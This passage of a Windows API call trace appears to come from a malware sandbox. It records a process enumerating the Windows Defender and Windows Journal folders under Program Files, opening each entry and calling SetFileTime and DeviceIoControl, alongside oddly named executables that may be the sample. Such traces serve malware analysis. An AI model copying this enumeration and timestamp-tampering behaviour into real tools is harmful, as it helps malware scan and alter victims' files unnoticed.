lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15819bcb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x15819bcb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7d1de1f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c9dd08, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x18c9dd08, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33d01890, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4eb396, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1d4eb396, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33f88820, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpRTP.dll", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34b85c54, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x34b85c54, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33f88820, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSvc.dll", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2afc28f9, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2afc28f9, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe8c21380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xeaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSASCui.exe", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1b943a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e1b943a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e1b943a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144043c0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x144043c0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x94b72470, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594a6b3, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1594a6b3, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x36199360, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2186820, ftCreationTime.dwHighDateTime=0x1d57315, ftLastAccessTime.dwLowDateTime=0x3b12e660, ftLastAccessTime.dwHighDateTime=0x1d54e8c, ftLastWriteTime.dwLowDateTime=0x3b12e660, ftLastWriteTime.dwHighDateTime=0x1d54e8c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="quantitative.exe", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c5efa40, ftCreationTime.dwHighDateTime=0x1d5a32e, ftLastAccessTime.dwLowDateTime=0xdd336df0, ftLastAccessTime.dwHighDateTime=0x1d54a97, ftLastWriteTime.dwLowDateTime=0xdd336df0, ftLastWriteTime.dwHighDateTime=0x1d54a97, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stick-hotels.exe", cAlternateFileName="")) returned 1 [0080.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c5efa40, ftCreationTime.dwHighDateTime=0x1d5a32e, ftLastAccessTime.dwLowDateTime=0xdd336df0, ftLastAccessTime.dwHighDateTime=0x1d54a97, ftLastWriteTime.dwLowDateTime=0xdd336df0, ftLastWriteTime.dwHighDateTime=0x1d54a97, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stick-hotels.exe", cAlternateFileName="")) returned 0 [0080.168] GetLastError () returned 0x12 [0080.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0080.168] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0080.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.168] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="")) returned 1 [0080.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.168] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal" (normalized: "c:\\program files\\windows journal"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.170] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal" (normalized: "c:\\program files\\windows journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.170] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0080.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.170] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0080.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.170] NtClose (Handle=0x178) returned 0x0 [0080.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0080.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0080.171] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0080.173] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.173] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.173] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0080.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.174] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c554863, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8c554863, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2aeed770, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x154400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll", cAlternateFileName="")) returned 1 [0080.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.175] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b77e99a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b77e99a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b043430, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x156800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNWDRV.dll", cAlternateFileName="")) returned 1 [0080.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.176] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77861d5d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77861d5d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll", cAlternateFileName="")) returned 1 [0080.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.177] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778fa2d1, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x778fa2d1, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll", cAlternateFileName="")) returned 1 [0080.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.178] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x757cd2ce, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x757cd2ce, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwppr.dll", cAlternateFileName="")) returned 1 [0080.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.178] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a4bf5a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1a4bf5a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1abe37b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x210600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe", cAlternateFileName="")) returned 1 [0080.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.179] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b92e68, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x97b92e68, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x36740f70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL", cAlternateFileName="")) returned 1 [0080.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.180] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a2fff, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8d0a2fff, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBDoc.DLL", cAlternateFileName="")) returned 1 [0080.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.181] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743456ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x743456ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll", cAlternateFileName="")) returned 1 [0080.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.182] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d0fadc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78d0fadc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xec410110, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe", cAlternateFileName="")) returned 1 [0080.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.183] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0080.183] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 0 [0080.183] GetLastError () returned 0x12 [0080.183] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0080.183] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.184] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.184] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.184] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US" (normalized: "c:\\program files\\windows journal\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.184] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US" (normalized: "c:\\program files\\windows journal\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 